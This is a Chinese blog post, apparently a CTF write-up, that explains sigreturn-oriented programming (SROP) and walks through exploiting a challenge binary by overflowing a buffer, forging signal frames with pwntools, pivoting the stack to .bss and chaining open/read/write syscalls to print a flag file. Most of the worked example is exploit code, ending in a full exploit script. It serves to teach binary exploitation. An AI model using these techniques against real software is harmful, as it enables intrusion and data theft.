随笔 - 0  文章 - 6  评论 - 4  阅读 - 188

高级ROP之SROP详解

高级ROP之SROP

一、知识储备

1. signal 机制

这里基础知识就搬运ctfwiki上的了。

signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。一般来说,信号机制常见的步骤如下图所示:
image
基本步骤如下:

  1. 内核向某个进程发送signal信号,该进程会被暂时挂起,进入内核态。
  2. 内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。 此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。 之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。
    image
  3. signal handler 返回后,内核为执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn 的调用号为 119(0x77),64 位的系统调用号为 15(0xf)。

简单来说就是:先保存各个寄存器中的值(Signal Frame),然后挂起用户进程,然后执行信号处理函数,处理完之后恢复栈和各个寄存器让后继续执行用户进程。

2.漏洞利用

可以注意到:Signal Frame是保存在用户空间上的,对用户来说是可读可写的,而且内核与信号处理程序没有直接关联 ,它并不会去记录每个 signal 所对应的 Signal Frame,所以当执行 sigreturn 系统调用时,此时的 Signal Frame 并不一定是之前内核为用户进程保存的 Signal Frame。也就是说,我们可以通过伪造 Signal Frame来控制各个寄存器的值以此来达到攻击的目的。
比如说:

rax = 0x3B(execve)
rdi='/bin/sh\00'
rsi=0x0
rdx=0x0
rip=syscall

这样就可以成功getshell。

Signal Frame看起来十分庞大,但是使用pwntools可以快捷构造我们所需要的Signal Frame

二、例题分析

附件放在文末

拿到题还是先检查一下保护信息,然后运行一下看看。
image
ida分析
main()
image
rt_sigreturn()
image
禁用了execve和execveat这两个系统调用,意味着我们很难getshell,所以使用ORW的方式来读取flag。这道题还有现成的sigreturn。
要实现ORW,我们就要构造SROP链。我们先通过一个sigreturn把栈迁移到已知段,这个段要足够长,足以放下Signal Frame,所以.bss段就是一个很好的选择。
首先我们做一些准备工作,通过ida静态调试,我们拿到了 sigreturn 的地址:sigreturn_sddr = 0x401296、syscall_ret的地址syscall_addr = 0x40129D和bss段的起始地址:0x404060,为了防止我们的操作更改了bss段比较重要的一些进程的数据,我们给这个地址加上一段偏移再使用:bss_addr = 0x404060 + 0x300
然后我们执行栈迁移和第二次read操作,通过IDA的数据可知,我们们需要填充0x28个字节的垃圾数据,所以payload1如下:

    frame1 = SigreturnFrame()
    frame1.rip = syscall_addr
    frame1.rbp = bss_addr + 0x8
    frame1.rsp = bss_addr + 0x8
    frame1.rax = constants.SYS_read
    frame1.rdi = 0
    frame1.rsi = bss_addr
    frame1.rdx = 0x400

    payload1 = b'A'*padding + p64(sigreturn_sddr) + (bytes(frame1))
    p.sendline(payload1)

部分解释:bss_addr + 0x8是因为后面我们需要传入‘flag\x00\x00\x00\x00’
下一步我们要进行orw操作
先构造open部分:

    frame2 = SigreturnFrame()
    frame2.rip = syscall_addr
    frame2.rbp = bss_addr + 0x8 + 0x100
    frame2.rsp = bss_addr + 0x8 + 0x100
    frame2.rax = constants.SYS_open
    frame2.rdi = bss_addr
    frame2.rsi = 0x0
    frame2.rdx = 0x0
    payload2 = b'flag' + b'\x00'*0x4 + p64(sigreturn_sddr) + (bytes(frame2))

然后是read部分:

    frame3 = SigreturnFrame()
    frame3.rip = syscall_addr
    frame3.rbp = bss_addr + 0x8 + 0x208
    frame3.rsp = bss_addr + 0x8 + 0x200
    frame3.rax = constants.SYS_read
    frame3.rdi = 0x3
    frame3.rsi = bss_addr
    frame3.rdx = 0x30
    payload3 =  p64(sigreturn_sddr) + (bytes(frame3))

最后是write部分:

    frame4 = SigreturnFrame()
    frame4.rip = syscall_addr
    frame4.rax = constants.SYS_write
    frame4.rdi = 0x1
    frame4.rsi = bss_addr
    frame4.rdx = 0x30
    payload4 =  p64(sigreturn_sddr) + (bytes(frame4))

所以总的payload如下:

    frame2 = SigreturnFrame()
    frame2.rip = syscall_addr
    frame2.rbp = bss_addr + 0x8 + 0x100
    frame2.rsp = bss_addr + 0x8 + 0x100
    frame2.rax = constants.SYS_open
    frame2.rdi = bss_addr
    frame2.rsi = 0x0
    frame2.rdx = 0x0
    payload2 = b'flag' + b'\x00'*0x4 + p64(sigreturn_sddr) + (bytes(frame2))

    frame3 = SigreturnFrame()
    frame3.rip = syscall_addr
    frame3.rbp = bss_addr + 0x8 + 0x208
    frame3.rsp = bss_addr + 0x8 + 0x200
    frame3.rax = constants.SYS_read
    frame3.rdi = 0x3
    frame3.rsi = bss_addr
    frame3.rdx = 0x30
    payload3 =  p64(sigreturn_sddr) + (bytes(frame3))

    frame4 = SigreturnFrame()
    frame4.rip = syscall_addr
    frame4.rax = constants.SYS_write
    frame4.rdi = 0x1
    frame4.rsi = bss_addr
    frame4.rdx = 0x30
    payload4 =  p64(sigreturn_sddr) + (bytes(frame4))

    pause()
    p.send(payload2 + payload3 + payload4)

所以总的exp如下:

点击查看代码
from pwn import *
if __name__ == "__main__":
    context.log_level = 'debug'
    context.arch = 'amd64'
    context.os = 'linux'
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    elf=ELF('./srop')
    p = process('./srop')

    padding = 0x28

    bss_addr = 0x404060 + 0x300
    sigreturn_sddr = 0x401296
    syscall_addr = 0x40129D

    frame1 = SigreturnFrame()
    frame1.rip = syscall_addr
    frame1.rbp = bss_addr + 0x8
    frame1.rsp = bss_addr + 0x8
    frame1.rax = constants.SYS_read
    frame1.rdi = 0
    frame1.rsi = bss_addr
    frame1.rdx = 0x400

    payload1 = b'A'*padding + p64(sigreturn_sddr) + (bytes(frame1))
    p.sendline(payload1)

    frame2 = SigreturnFrame()
    frame2.rip = syscall_addr
    frame2.rbp = bss_addr + 0x8 + 0x100
    frame2.rsp = bss_addr + 0x8 + 0x100
    frame2.rax = constants.SYS_open
    frame2.rdi = bss_addr
    frame2.rsi = 0x0
    frame2.rdx = 0x0
    payload2 = b'flag' + b'\x00'*0x4 + p64(sigreturn_sddr) + (bytes(frame2))

    frame3 = SigreturnFrame()
    frame3.rip = syscall_addr
    frame3.rbp = bss_addr + 0x8 + 0x208
    frame3.rsp = bss_addr + 0x8 + 0x200
    frame3.rax = constants.SYS_read
    frame3.rdi = 0x3
    frame3.rsi = bss_addr
    frame3.rdx = 0x30
    payload3 =  p64(sigreturn_sddr) + (bytes(frame3))

    frame4 = SigreturnFrame()
    frame4.rip = syscall_addr
    frame4.rax = constants.SYS_write
    frame4.rdi = 0x1
    frame4.rsi = bss_addr
    frame4.rdx = 0x30
    payload4 =  p64(sigreturn_sddr) + (bytes(frame4))

    pause()
    p.send(payload2 + payload3 + payload4)

    p.interactive()

附件
2024-12-01 16:46:58 星期日

posted on   丶落雪  阅读(23)  评论(1编辑  收藏  举报
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?
· 如何调用 DeepSeek 的自然语言处理 API 接口并集成到在线客服系统
< 2025年3月 >
23 24 25 26 27 28 1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31 1 2 3 4 5

点击右上角即可分享
微信分享提示